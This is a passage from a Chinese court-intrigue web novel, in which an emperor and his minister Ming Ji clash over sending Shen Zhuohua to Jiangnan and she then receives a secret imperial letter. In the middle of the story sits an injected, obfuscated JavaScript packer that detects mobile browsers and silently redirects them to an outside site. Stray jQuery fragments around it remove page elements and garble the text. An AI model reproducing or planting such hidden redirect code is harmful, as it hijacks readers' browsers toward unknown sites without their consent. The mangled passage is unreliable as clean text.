碧瓦朱墙下，宫道上静而有序，薄雾在日出后渐渐消散，鎏金碎影斜斜洒在檐角，铜铃微晃，更显廖然。


    养心殿内沉香袅袅，一派祥和。


    “三娘子自太后寿宴后便病了，锦华堂虽修葺完毕，可也要紧着三娘子的身子。”旁伺候的内侍心细如发，立时斟茶。


    李元琛听人报沈灼华仍未搬回锦华堂，心中不由得起了顾虑，现下还皱着眉头。


    他抓住了话中的关键：“病了，可还严重？太医去瞧过了吗？”


    “莫约是从前的毛病，太医去过说是无碍。”内侍一字不差地重复着传报的说辞，“三娘子向来体弱，时节寒凉，免不得发病，于往日异常的是……”


    “近来常有梦魇之阵，或是心绪难安的缘故。”


    话音甫落，养心殿的门便被推开，逆着光影，依旧能看得出来人身姿挺拔。


    “陛下万安。”明霁俯身问安。


    李元琛抬眸望他，抬手道：“何须拘礼，你且看这份江南呈上的奏折。”


    英王在江南声望颇高，借着叶氏在当地的基业，或能与之抗衡。


    叶氏在多年前可谓是京都与沈氏平分秋色的世家，先祖几代为避权重君嫌，旁系外散至江南，余留嫡系一脉于京都，可随上任家主辞官逝世，在京都的影响力不复从前。


    沈灼华作为叶氏仅存的嫡系血脉，是不二人选。


    “朕欲令灼华一齐下江南，你道如何？”


    一旁的内侍立即躬身将奏折呈递到明霁跟前，明霁淡然扫了一眼那奏本，丝毫没有去接的意思。


    他沉声道：“朝政公务乃陛下之责，臣不敢。”


    李元琛听出了言外之意，又记起先前内侍所禀的相府之事，当即便料到明霁的态度是因着沈灼华，一时沉吟不语。


    明霁继续道：“自陛下登基起，微臣从未有过怨言。”


    “只此一事望陛下见谅。”明霁忽然面容凝重：“泱泱同陛下一同长大，念着手足情分，陛下勿要……肆无忌怙。”


    “手足情分？”李元琛的神色也凝重起来，眯着眼睛打量，轻笑了声。


    “那便要看灼华的选择了。”


    “朕待她情同胞妹，若她肯主动交付大权，不再参与朝堂纷争……”


    帝王家何来真情一说。


    沈氏树大招风，又为世家之首，若是帝王不忌惮那才见了怪。


    只盼人尽其用，方能立身。


    君要臣死，臣不得不死，天下众生，不过都是皇权的祭品。


    说到底，无非是朝堂尚未安稳，李元琛尚离不开沈氏的支持，也离不了明霁的辅佐。


    明霁心知肚明。


    “安之”。李元琛轻唤道，似是看出了明霁的失落，眼底的算计掩盖了去，轻叹：“你我君臣间乃生死之交，若你一直同朕一条心，必不会到反目的地步。”


    明霁嘴边挂着哂笑。


    “她已然退步，宫变时若非她，陛下今日的皇位怕是坐不稳。”明霁缓缓道：“古今之遥，再难寻一个她来。”


    “臣入仕的初心从未有变。”


    “为家国安定，为天下万民。”他看向坐在高位的皇帝，轻声道：“我如此，她亦然。”


    李元琛怔了怔，不由得笑了，宛若寻常般：“你们都是聪明人，无需朕再多言。”


    为君者，最是无情。


    见李元琛无动于衷，明霁早有料想，语气苦涩地低声问：“若微臣夫妇并无二心，陛下当真会念昔日情分吗？”


    “自然。”李元琛毫不犹豫。


    多年的情分不假，且二人的品性他了如指掌。


    言尽于此，明霁也不欲多言。


    “既如此，陛下之令臣莫敢不从。”明霁垂眸沉声道：“只望陛下一诺千金。”


    “臣不是什么风光霁月的人，睚眦必报。”


    李元琛身体向后靠在椅背上，脸上表情复杂，分辨不清，只能感受到周身威压如弦上箭，一触即发。


    养心殿内伺候的人听闻此言俱是一震。


    明霁的眉目间尽染冷意，他是声音如裹挟着凉意，字字珠玑：“所以，甘尽全力护她。”


    说罢，拱手作揖。


    姿态放低，却说着惊骇世俗的言语。


    “你的意思，朕明白。”李元琛淡淡回。


    明霁恭身离去，李元琛凝望着他的背影，脸色一点点沉下。


    “磨墨。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15738355|157675||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    内侍不敢耽搁，一边磨墨一边偷摸看着早已安置在案上的洒金云龙纹帖。


    腕力由轻至重，墨锭与砚台摩挲的沙沙声逐渐明了，李元琛头也不抬，取笔沾墨便落笔。


    不过半柱香，纸帖上便写满了字。


    李元琛执笔俯视，整幅字行气贯通，藏锋蓄势，沉声道：“江南一事，只许成，不许败。”


    内侍抽了口冷气，小心翼翼问：“陛下可要召三娘子入宫觐见？”


    李元琛摇头，把书帖封好□□给内侍，道：“暗中着人送去相府。”


    于是，这张薄薄的书帖便交由皇帝亲信，马不停蹄地呈送到尚在府中休养的沈灼华手中。


    秋蝉嘶鸣。


    冰裂纹窗牖把光影裁成若干片碎玉，堂前绣幔半卷，白瓷盏中的汤药，热气氤氲，若有似无的朦胧下，那双眸子里的淡漠平添了几分温和。


    沈灼华将盏中的汤药一饮而尽，眉目半敛，动作轻柔。


    她生生等着桃夭念完书帖上的字，才一脸无所谓似地笑了笑：“只盼着我还能多活些时日。”


    卸磨杀驴这事，她见得多了。


    桃夭若有所思地看着她。


    她忍不住道：“姑娘说什么晦气的话呢。”


    沈灼华长长叹了口气，垂睫道：“此去江南，山高水远，不比在京都，此行乃是肃清江南，少不了刀光剑影，更何况……”


    “江南势力错综复杂，又有英王镇守，稍有不慎便是一场博弈。”


    伴君如伴虎，一举两得的好事李元琛又怎会放过。


    乘叶氏的东风，借明霁的手，不费吹灰之力便能震慑江南势力。


    于京都之中，搅动风云的世家无首，亦不敢轻举妄动。


    沈灼华与桃夭对视，提及生死，桃夭不由得两眼泪光。


    沈灼华拉过她的手，苍白的脸倏然起了笑意，“此行你就不必随我去了，留在京都，有人护着你我也安心。”


    桃夭的泪水早已夺眶而出，不断地摇头：“不，我要陪姑娘去。”


    “此次我只带冬禧去护身，你若不替我守着檀园，我还能信谁？”沈灼华唇角带着柔和微笑，“有外祖家的势力护着，我不会有事。”